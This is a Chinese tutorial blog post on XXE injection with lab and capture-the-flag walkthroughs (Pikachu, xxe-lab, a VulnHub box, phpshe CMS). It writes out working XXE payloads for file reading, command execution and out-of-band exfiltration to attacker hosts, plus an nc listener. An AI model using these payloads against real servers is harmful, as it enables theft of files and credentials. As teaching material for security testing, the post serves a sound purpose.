XXE漏洞知识
目录
1.XXE简介与危害
XML概念
XML与HTML的区别
1.pom.xml
主要作用
2.web.xml
3.mybatis
2.XXE概念与危害
案例:文件读取(需要Apache >=5.4版本)
案例:内网探测(鸡肋)
案例:执行命令(不演示,不常见)
案例:无回显
疑问解答(以下仅需了解)
all为什么要嵌套一层
为什么需要引用DTD文件
%#25是什么?
文件上传场景中 XXE 漏洞测试
一、环境搭建
二、XXE 漏洞测试流程(以文件上传为例)
三、关键知识点
靶场案例:xxe-lab
3.综合案例
环境安装
端口扫描
目录扫描
7kbscan御剑版的下载
操作环节
7kbscan御剑版扫描
访问扫描的网址
bp抓包+第一次改包
bp第二次改包
bp第三次改包
区分 MD5、Base64 和 Base32
解析base32
base641后得到的
4.CMS漏洞分析
案例:phpsheCMS
总结
XXE 漏洞知识笔记
一、XXE 漏洞简介
二、漏洞原理
三、漏洞危害
四、工具检测
五、总结
本文章仅作为技术分享,请勿使用此技术用于违法犯罪,后果自负!!!
1.XXE简介与危害
前面讲了一些XML知识,这里我们回顾一下
XML概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML与HTML的区别
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
1.pom.xml
pom.xml
是 Maven 项目的核心配置文件,全称为 Project Object Model(项目对象模型)。它采用 XML 格式,定义了项目的基本信息、依赖管理、构建配置等内容,是 Maven 实现自动化构建和依赖管理的基础。
主要作用
- 项目标识:定义项目的坐标(
groupId
、artifactId
、version
),用于唯一标识项目。 - 依赖管理:声明项目依赖的外部库(如 Spring、JUnit 等),Maven 会自动从仓库下载这些依赖。
- 插件配置:配置编译、测试、打包等构建过程所需的插件(如
maven-compiler-plugin
)。 - 构建生命周期:定义项目的构建阶段(如
compile
、test
、package
)及各阶段的执行目标。 - 继承与聚合:支持多模块项目的父子关系和模块聚合,简化大型项目的管理。
2.web.xml
web.xml
相关漏洞:常见的是XXE
漏洞。web.xml
用于配置Web
应用的相关信息,当应用程序解析 XML
输入(如通过web.xml
进行某些配置解析)时,若没有禁止外部实体的加载,就可能存在XXE
漏洞。攻击者可利用该漏洞构造恶意XML
输入,实现文件读取、命令执行、内网端口扫描、攻击内网网站、拒绝服务攻击等危害,例如读取服务器上的敏感文件,或执行系统命令来控制服务器
3.mybatis
2.XXE概念与危害
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
案例:文件读取(需要Apache >=5.4版本)
访问地址:http://localhost/pikachu/vul/xxe/xxe_1.php
准备xml脚本测试
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:\Windows\System32\drivers\etc\hosts">
]>
<foo>&xxe;</foo>
注意文件地址要与它存在的路径一致
有些情况下是读不出来的,可以去虚拟机试一下
案例:内网探测(鸡肋)
准备xml脚本测试
在域名下如果有个1.txt文件,可以显示出来,代表80端口可以访问
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.0.61:80/1.txt">
]>
<x>&xxe;</x>
案例:执行命令(不演示,不常见)
在安装expect扩展的PHP环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
下面这个链接:可以了解一下
https://www.php.net/manual/zh/wrappers.expect.php
php的语言支持封装协议
案例:无回显
修改\pikachu\vul\xxe\xxe_1.php
注释掉后,再去pikachu靶场的话,它是不会显示任何东西的
正常情况下,是不会显示的
但是我们想要在对方服务器显示给我们。
新建一个用于接受的php(虚拟机)测试
<?php
$data = $_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
get.php和vil.dtd都放在虚拟机的phpstudy的根目录里面。
新建vil.dtd文件(虚拟机)
注意下面的地址不能是127.0.0.1,必须是被攻击的电脑能访问的ip测试
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.61/get.php?file=%file;'>">
%all;
%send;
注意的第一行的ip地址与文件地址,需要在虚拟机里面新建一个1.txt
就让别人的文件回显,自动保存在我们电脑上
攻击脚本测试
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.132/vil.dtd">
%dtd;]>
将脚本放入,注意脚本第3行地址,与vil.dtd是我们前面创建的
然后提交,后我们会发现,虚拟机里面多了一个file文件,里面就存储的是我们前面新建的1.txt的内容了
疑问解答(以下仅需了解)
all为什么要嵌套一层
因为在里面一层用到了%file;而XML解析不会解析同一层级的参数
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.61/get.php?file=%file;'>">
%all;
%send;
为什么需要引用DTD文件
因为在 DTD 的内部子集中,不允许在标记声明中引用参数实体。您必须使用外部 DTD,即单独的文件。
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
%all;
%send;
]>
%#25是什么?
就是%号,如果直接用%号会报错,这个是它的一个独特语法
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.132/vil.dtd">
%dtd;]><!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
%all;
%send;
]>
文件上传场景中 XXE 漏洞测试
以下是关于 文件上传场景中 XXE 漏洞测试 的笔记整理,结合红蓝队视角和实战流程,帮助理解攻击原理与防御思路:
一、环境搭建
角色 | 设备 | 作用 |
蓝队(被害者) | 本机 | 运行目标系统(如 Pikachu 靶场),模拟存在漏洞的 Web 服务器 |
红队(攻击者) | 虚拟机 | 发起攻击,构造恶意 XML / 文件并上传 |
目标系统 | 远程服务器 | 部署 Pikachu 靶场,IP 为 ,提供文件上传等测试接口 |
二、XXE 漏洞测试流程(以文件上传为例)
1. 攻击准备:构造DTD 文件(vil.dtd
)
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!-- 读取服务器敏感文件 -->
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://攻击者IP:端口/?data=%file;'>">
%eval;
%exfil;
- 关键作用:
- 通过
file://
协议读取服务器文件(如/etc/passwd
)。通过http://
协议将数据回传到攻击者服务器,实现数据外带。
2. 构造含 XXE 攻击的 XML 文件
脚本测试
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://攻击者IP/vil.dtd"> <!-- 引用恶意DTD -->%remote;
]>
<root>&test;</root>
逻辑:
- 当目标服务器解析此 XML 时,会远程加载
vil.dtd
并执行其中的恶意实体。触发文件读取和数据回传,绕过服务器本地防护。
3. 上传攻击文件并触发漏洞
- 通过文件上传接口提交 XML:
- 在 Pikachu 靶场的 “文件上传” 模块,选择构造好的 XML 文件并上传。部分场景需配合 Content-Type 为
application/xml
或text/xml
。
- 监听攻击者服务器接收数据:
- 使用
nc
(Netcat)监听端口:bash
nc -lvnp 8080 # 监听8080端口,接收文件内容
- 若漏洞存在,服务器会向攻击者发送包含敏感数据的 HTTP 请求。
三、关键知识点
XXE 漏洞原理
- 核心风险:XML 解析器默认允许加载外部实体(如
SYSTEM
、PUBLIC
),攻击者利用此特性窃取数据。 - 攻击载体:
- 直接在 XML 中定义实体(内联攻击)。
- 通过
DOCTYPE
引用远程恶意 DTD 文件(外带攻击)。
靶场案例:xxe-lab
https://github.com/c0ny1/xxe-lab
可以把上面链接的东西下载了之后
访问:
http://localhost/xxe/
登录,然后BP抓包:
右键,发送到Repeater模块,它可以多次发送请求响应
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///C://Users//wujia//Desktop//1.txt">
]>
<user><username>
&file;
</username><password>12313</password>
</user>
构建脚本,在电脑上新建一个1.txt,然后路径就把上面改为相应的就行了,脚本格式就和上面bp抓包的就行
file就是用来接受C:\Users\wujia\Desktop//1.txt,
&file;就可以接收相应数据
然后我们点击左上角send发送
报错了?让我们来看看,原来是路径出错了,所以我们来修改正确再提交:
有回显证明存在xxe漏洞,
所以我们不只可以读取1.txt文件,我们还可以读取对方系统里面的hosts文件等一些重要文件
然后我们发现它是doLpgin格式,所以我们可以读取它的文件:
读取doLogin.php文件,脚本展示:
代码:
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&file;
</username><password>12313</password></user>
然后复制粘贴去BP里面
去浏览器解析代码:它一般是base64加密的形式,所以我们去把base64解析看:
全选,然后解析,也可以去网站上
https://www.toolhelper.cn/EncodeDecode/Base64
解析后
发现有了账户密码等信息,这样就成功了
3.综合案例
环境安装
靶机XXE 下载地址:访问就直接下载了
https://download.vulnhub.com/xxe/XXE.zip
然后自己创建就行了
然后进去
这个靶机然后让你输入密码,找去flag,并不是让你真的登录进去
然后就需要我们去
端口扫描
打开我们kali虚拟机:
查看宿主机IP地址
服务器的IP只会在192.168.17.1-255之间
使用Kali作为主机,扫描获得IP地址
su root
nmap 192.168.17.1/24
于是我们获取了刚刚打开的Ubuntu地址,仔细看它开了80端口
我们访问192.168.17.135:80
然后发现是Ubuntu证明我们找对了!(这个虚拟机不是让你登录,就是让你找flag的)
目录扫描
扫描目录
7kbscan御剑版的下载
https://github.com/7kbstorm/7kbscan-WebPathBrute
漏洞探测,渗透需要我们扫一下它http://192.168.17.135
操作环节
发现有两个文件,我们去访问
但是注意index.html,它是一个html页面,访问出来是这个
7kbscan御剑版扫描
然后我们进去扫出来的另一个,,发现有两个东西
访问扫描的网址
先访问robots.txt
发现有两个东西 。我们先访问第一个:
bp抓包+第一次改包
发现它要我们登录,看到这里,我们用bp抓包看一下:
还是一样,看到下面有xml,所以会不会有xml漏洞呢?
我们发送到repeater看一下
(注意:这里我的bp用了中文版,方便理解bp的使用)
然后构建脚本:
我们先去看xxe里面有什么
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
发送过去后,得到一堆base64加密的代码,我们去解析一下:
代码审计;
可见,这个是个错误页面,不管你用户名,密码,都是登录错误,上当了!
bp第二次改包
于是我们可以去看admin.php有什么,使用构建代码:
把第三行最后的xxe改为admin.php就行了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
然后发现出现了更大的一串代码,不要慌,我们先解码看一下它是什么东西。
注意解析代码可以用火狐渗透版自带的,或者去浏览器解析,它是base64加密,使用用base64解码。
发现有事情可以搞,审计一下代码
它说如果 username=administhebest 那么password='e6e061838856bf47e1de730719fb2609')
使以看样子似乎获取到了账号和密码,但是密码为什么是那么大串呢?
原来一般密码是MD5加密,所以我们去解密一下。
e6e061838856bf47e1de730719fb2609
查询到密码是admin@123
所以账号为:administhebest
密码是: admin@123
我们拿它去登录一下页面
注意:访问的IP地址是刚刚我们用kali测出来的地址
可是为什么会报错呢?我们明明不是已经拿到账户和密码了吗?
眼尖的朋友注意到了访问地址的问题,我们应该访问以admin.php结尾的网站。
http://192.168.17.135/xxe/admin.php
然后我们输入账号密码试一下。
发现有了一个flag,这个会不会是我们要找的flsg呢?我们往下看
然后发现它不让我们访问,但是给了我们一个flagmeout.php的文件,BP进去看一下。
bp第三次改包
同样构建脚本:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
的到了我们去解析一下:
发现它说flag在这里面,我们看看这是什么东西?
原来是base32加密
区分 MD5、Base64 和 Base32
接下来就是侧重说一下MD5,base64和base32的区别了:
要区分 MD5、Base64 和 Base32,可以从以下几个核心维度入手,通过观察特征、用途和技术特性快速判断:
一、看输出特征(最直观)
1. MD5 哈希值
- 长度固定:
输出为 32 位十六进制字符串(由数字0-9
和字母a-f
/A-F
组成),例如:plaintext
e2e7f4b9d3b1c5f9a8d4f3c2b1a0z(无效,仅含十六进制字符)
- 关键特点:
-
- 无填充符(如
=
),无特殊符号(如+
//
)。 - 不可逆:无法通过结果反推原始数据,常用于校验和(如文件哈希值)。
- 无填充符(如
2. Base64 编码结果
- 字符集:
包含 64 个字符:A-Z
、a-z
、0-9
、+
、/
,填充时用=
。
-
- 示例:plaintext
SGVsbG8gV29ybGQh("Hello World!" 的 Base64 编码)
- 长度规律:
-
- 编码后长度是 4 的倍数,不足时用
=
填充(1-2 个=
)。 - 可能包含
+
或/
(URL 中可能替换为-
/_
)。
- 编码后长度是 4 的倍数,不足时用
3. Base32 编码结果
- 字符集:
仅包含 32 个字符:A-Z
(大写)和数字2-7
(避免与0/1/I/O
混淆),填充用=
。
-
- 示例:plaintext
JBSWY3DPEHPK3PXP("Hello" 的 Base32 编码)
- 长度规律:
-
- 编码后长度是 8 的倍数,填充符
=
可能较多(最多 7 个,但常见 1-2 个)。 - 无小写字母、无特殊符号(如
+
//
),全为大写字母和数字2-7
。
- 编码后长度是 8 的倍数,填充符
二、实践验证方法
- 尝试解码:
检查字符集:
-
- 含
+
//
→ Base64; - 全大写字母 + 2-7 → Base32;
- 纯十六进制(0-9/a-f)→ MD5。
- 含
解析base32
得到的是Base64字符,继续解密
base641后得到的
得到了/etc/.flag.php
我们继续bp看一下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>
继续解析
发现和前面不一样了,这是php语言,因为他又$符号,所以我们php解析
可以去phpstudy里面,把它放根目录里面,然后把后缀名改为php就行,但是注意补全php格式
<?php$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$Ã=+_;$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=++$Ã[];$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$__('$_="'.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.'"');$__($_);?>
然后访问就行了
4.CMS漏洞分析
案例:phpsheCMS
https://github.com/vuatph/phpshe
下载好后,刚开始要初始化安装一下,输入
http://localhost/phpshe/install
设置用户信息
如何登录管理后台:
它这个漏洞在支付漏洞里面,我们扫描,它会调用微信支付,会通知商家重新支付,会给出一个接口,所以会有xxe漏洞
然后打开bp随意拦截
把它发送到Repeater模块l里面
把它改为,注意17行改为虚拟机地址。
GET /phpshe/include/plugin/payment/wechat/notify_url.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/phpshe/user.php?mod=do&act=login&fromto=http%3A%2F%2Flocalhost%2Fphpshe%2F
Content-Length: 113
Cookie: safedog-flow-item=; PHPSESSID=3199gn7cbq9eudsopceplupga6
DNT: 1
Connection: close<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.138/vil.dtd">
%dtd;]>
<root>c</root>
进入虚拟机,把对方的回显到虚拟机里面。这里和上面的,案例:无回显一样
好了,以上就是xxe漏洞的知识。
总结
XXE 漏洞知识笔记
一、XXE 漏洞简介
- 全称:XML External Entity Injection(XML 外部实体注入)
- 本质:当应用程序解析 XML 输入时,未禁止外部实体的加载,导致攻击者可利用自定义实体注入恶意内容,窃取敏感信息或执行系统命令。
- 常见场景:使用 XML 格式进行数据传输或配置的系统(如 Web 服务、API 接口)。
二、漏洞原理
- XML 实体概念
- 内部实体:定义在 XML 文档内的实体(如
<!ENTITY name "value">
)。外部实体:引用外部资源的实体,分为: - 本地文件引用:
<!ENTITY file SYSTEM "file:///etc/passwd">
- 远程 URL 引用:
<!ENTITY remote SYSTEM "http://attacker.com/exploit.dtd">
- 攻击流程xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY & file SYSTEM "file:///etc/passwd"> <!-- 引用本地文件 --><!ENTITY & eval "<!ENTITY &exfiltrate SYSTEM 'http://attacker.com/?data=&file;'>"> <!-- 外带数据 -->&eval;&exfiltrate;
]>
<root>&file;</root>
三、漏洞危害
- 敏感信息泄露
- 读取服务器本地文件(如
/etc/passwd
、数据库配置文件)。 - 扫描内网端口(通过
http://127.0.0.1:8080
等 URL 引用)。
- 拒绝服务(DoS)攻击
-
- 通过递归实体定义(如
<!ENTITY a "&a;&a;&a;">
)导致内存 / CPU 耗尽。
- 通过递归实体定义(如
- 远程代码执行(需配合其他漏洞)
- 在支持 XSLT 或脚本引擎的环境中,结合外部实体执行命令(如 Java 环境中的
DocumentBuilderFactory
未禁用 XXE)。
- 内网渗透
- 通过 SSRF(服务器端请求伪造)攻击内网服务(如
file://
、gopher://
协议)。
四、工具检测
- Burp Suite:利用插件(如 XXE Tester)自动生成测试载荷。
- OWASP ZAP:启用主动扫描模块检测 XML 解析漏洞。
五、总结
- 核心原理:XML 解析器未限制外部实体加载,导致恶意引用。
- 防御重点:禁用外部实体、限制解析器功能、严格输入校验。
- 检测手段:结合带外数据传输(DNS/HTTP)和响应分析,利用工具自动化测试。
相关文章:

XXE漏洞知识
目录 1.XXE简介与危害 XML概念 XML与HTML的区别 1.pom.xml 主要作用 2.web.xml 3.mybatis 2.XXE概念与危害 案例:文件读取(需要Apache >5.4版本) 案例:内网探测(鸡肋) 案例:执行命…...

mq安装新版-3.13.7的安装
一、下载包,上传到服务器 https://github.com/rabbitmq/rabbitmq-server/releases/download/v3.13.7/rabbitmq-server-generic-unix-3.13.7.tar.xz 二、 erlang直接安装 rpm -ivh erlang-26.2.4-1.el8.x86_64.rpm不需要配置环境变量,直接就安装了。 erl…...
第21节 Node.js 多进程
Node.js本身是以单线程的模式运行的,但它使用的是事件驱动来处理并发,这样有助于我们在多核 cpu 的系统上创建多个子进程,从而提高性能。 每个子进程总是带有三个流对象:child.stdin, child.stdout和child.stderr。他们可能会共享…...

DL00871-基于深度学习YOLOv11的盲人障碍物目标检测含完整数据集
基于深度学习YOLOv11的盲人障碍物目标检测:开启盲人出行新纪元 在全球范围内,盲人及视觉障碍者的出行问题一直是社会关注的重点。尽管技术不断进步,许多城市的无障碍设施依然未能满足盲人出行的实际需求。尤其是在复杂的城市环境中ÿ…...

华硕电脑,全新的超频方式,无需进入BIOS
想要追求更佳性能释放 或探索更多可玩性的小伙伴, 可能会需要为你的电脑超频。 但我们常用的不论是BIOS里的超频, 还是Armoury Crate奥创智控中心超频, 每次调节都要重启,有点麻烦。 TurboV Core 全新的超频方案来了 4不规…...

安全领域新突破:可视化让隐患无处遁形
在安全领域,隐患就像暗处的 “幽灵”,随时可能引发严重事故。传统安全排查手段,常常难以将它们一网打尽。你是否好奇,究竟是什么神奇力量,能让这些潜藏的隐患无所遁形?没错,就是可视化技术。它如…...
触发DMA传输错误中断问题排查
在STM32项目中,集成BLE模块后触发DMA传输错误中断(DMA2_Stream1_IRQHandler进入错误流程),但单独运行BLE模块时正常,表明问题可能源于原有线程与BLE模块的交互冲突。以下是逐步排查与解决方案: 一、问题根源…...

Vue.js教学第二十一章:vue实战项目二,个人博客搭建
基于 Vue 的个人博客网站搭建 摘要: 随着前端技术的不断发展,Vue 作为一种轻量级、高效的前端框架,为个人博客网站的搭建提供了极大的便利。本文详细介绍了基于 Vue 搭建个人博客网站的全过程,包括项目背景、技术选型、项目架构设计、功能模块实现、性能优化与测试等方面。…...

[KCTF]CORE CrackMe v2.0
这个Reverse比较古老,已经有20多年了,但难度确实不小。 先查壳 upx压缩壳,0.72,废弃版本,工具无法解压。 反正不用IDA进行调试,直接x32dbg中,dump内存,保存后拖入IDA。 这里说一下…...
Redis——Cluster配置
目录 分片 一、分片的本质与核心价值 二、分片实现方案对比 三、分片算法详解 1. 范围分片(顺序分片) 2. 哈希分片 3. 虚拟槽分片(Redis Cluster 方案) 四、Redis Cluster 分片实践要点 五、经典问题解析 C…...

Ubuntu 安装 Mysql 数据库
首先更新apt-get工具,执行命令如下: apt-get upgrade安装Mysql,执行如下命令: apt-get install mysql-server 开启Mysql 服务,执行命令如下: service mysql start并确认是否成功开启mysql,执行命令如下&am…...
结合PDE反应扩散方程与物理信息神经网络(PINN)进行稀疏数据预测的技术方案
以下是一个结合PDE反应扩散方程与物理信息神经网络(PINN)进行稀疏数据预测的技术方案,包含完整数学推导、PyTorch/TensorFlow双框架实现代码及对比实验分析。 基于PINN的反应扩散方程稀疏数据预测与大规模数据泛化能力研究 1. 问题定义与数学模型 1.1 反应扩散方程 考虑标…...
从0开始一篇文章学习Nginx
Nginx服务 HTTP介绍 ## HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。 ## HTTP工作在 TCP/IP协议体系中的TCP协议上&#…...

Java高级 |【实验八】springboot 使用Websocket
隶属文章:Java高级 | (二十二)Java常用类库-CSDN博客 系列文章:Java高级 | 【实验一】Springboot安装及测试 |最新-CSDN博客 Java高级 | 【实验二】Springboot 控制器类相关注解知识-CSDN博客 Java高级 | 【实验三】Springboot 静…...
scan_mode设计原则
scan_mode设计原则 在进行mtp controller设计时,基本功能设计完成后,需要设计scan_mode设计。 1、在进行scan_mode设计时,需要保证mtp处于standby模式,不会有擦写、编程动作。 2、只需要固定mtp datasheet说明的接口即可…...

设计模式-3 行为型模式
一、观察者模式 1、定义 定义对象之间的一对多的依赖关系,这样当一个对象改变状态时,它的所有依赖项都会自动得到通知和更新。 描述复杂的流程控制 描述多个类或者对象之间怎样互相协作共同完成单个对象都无法单独度完成的任务 它涉及算法与对象间职责…...
qt 双缓冲案例对比
双缓冲 1.双缓冲原理 单缓冲:在paintEvent中直接绘制到屏幕,绘制过程被用户看到 双缓冲:先在redrawBuffer绘制到缓冲区,然后一次性显示完整结果 代码结构 单缓冲:所有绘制逻辑在paintEvent中 双缓冲:绘制…...
2025年全国I卷数学压轴题解答
第19题第3问: b b b 使得存在 t t t, 对于任意的 x x x, 5 cos x − cos ( 5 x t ) < b 5\cos x-\cos(5xt)<b 5cosx−cos(5xt)<b, 求 b b b 的最小值. 解: b b b 的最小值 b m i n min t max x g ( x , t ) b_{min}\min_{t} \max_{x} g(x,t) bmi…...
JS设计模式(5): 发布订阅模式
解锁JavaScript发布订阅模式:让代码沟通更优雅 在JavaScript的世界里,我们常常会遇到这样的场景:多个模块之间需要相互通信,但是又不想让它们产生过于紧密的耦合。这时候,发布订阅模式就像一位优雅的信使,…...

实现p2p的webrtc-srs版本
1. 基本知识 1.1 webrtc 一、WebRTC的本质:实时通信的“网络协议栈”类比 将WebRTC类比为Linux网络协议栈极具洞察力,二者在架构设计和功能定位上高度相似: 分层协议栈架构 Linux网络协议栈:从底层物理层到应用层(如…...
Android多媒体——音/视频数据播放(十八)
在媒体数据完成解码并准备好之后,播放流程便进入了最终的呈现阶段。为了确保音视频内容能够顺利输出,系统需要首先对相应的播放设备进行初始化。只有在设备初始化成功后,才能真正开始音视频的同步渲染与播放。这一过程不仅影响播放的启动速度,也直接关系到播放的稳定性和用…...

第2篇:BLE 广播与扫描机制详解
本文是《BLE 协议从入门到专家》专栏第二篇,专注于解析 BLE 广播(Advertising)与扫描(Scanning)机制。我们将从协议层结构、广播包格式、设备发现流程、控制器行为、开发者 API、广播冲突与多设备调度等方面,全面拆解这一 BLE 最基础也是最关键的通信机制。 一、什么是 B…...

开源 vGPU 方案:HAMi,实现细粒度 GPU 切分
本文主要分享一个开源的 GPU 虚拟化方案:HAMi,包括如何安装、配置以及使用。 相比于上一篇分享的 TimeSlicing 方案,HAMi 除了 GPU 共享之外还可以实现 GPU core、memory 得限制,保证共享同一 GPU 的各个 Pod 都能拿到足够的资源。…...
EC2安装WebRTC sdk-c环境、构建、编译
1、登录新的ec2实例,证书可以跟之前的实例用一个: ssh -v -i ~/Documents/cert/qa.pem ec2-user70.xxx.165.xxx 2、按照sdk-c demo中readme的描述开始安装环境: https://github.com/awslabs/amazon-kinesis-video-streams-webrtc-sdk-c 2…...

盲盒一番赏小程序:引领盲盒新潮流
在盲盒市场日益火爆的今天,如何才能在众多盲盒产品中脱颖而出?盲盒一番赏小程序给出了答案,它以创新的玩法和优质的服务,引领着盲盒新潮流。 一番赏小程序的最大特色在于其独特的赏品分级制度。赏品分为多个等级,从普…...

边缘计算设备全解析:边缘盒子在各大行业的落地应用场景
随着工业物联网、AI、5G的发展,数据量呈爆炸式增长。但你有没有想过,我们生成的数据,真的都要发回云端处理吗?其实不一定。特别是在一些对响应时间、网络带宽、数据隐私要求高的行业里,边缘计算开始“火”了起来&#…...

Linux实现线程同步的方式有哪些?
什么是线程同步? 想象一下超市收银台:如果所有顾客(线程)同时挤向同一个收银台(共享资源),场面会一片混乱。线程同步就是给顾客们发"排队号码牌",确保: 有序访…...
python打卡day47
昨天代码中注意力热图的部分顺移至今天 知识点回顾: 热力图 作业:对比不同卷积层热图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import D…...

python学习day39
图像数据与显存 知识点回顾 1.图像数据的格式:灰度和彩色数据 2.模型的定义 3.显存占用的4种地方 a.模型参数梯度参数 b.优化器参数 c.数据批量所占显存 d.神经元输出中间状态 4.batchisize和训练的关系 import torch import torchvision import torch.nn as nn imp…...
Ansible+Zabbix-agent2快速实现对多主机监控
ansible Ansible 是一款开源的自动化工具,用于配置管理(Configuration Management)、应用部署(Application Deployment)、任务自动化(Task Automation)和编排(Orchestration…...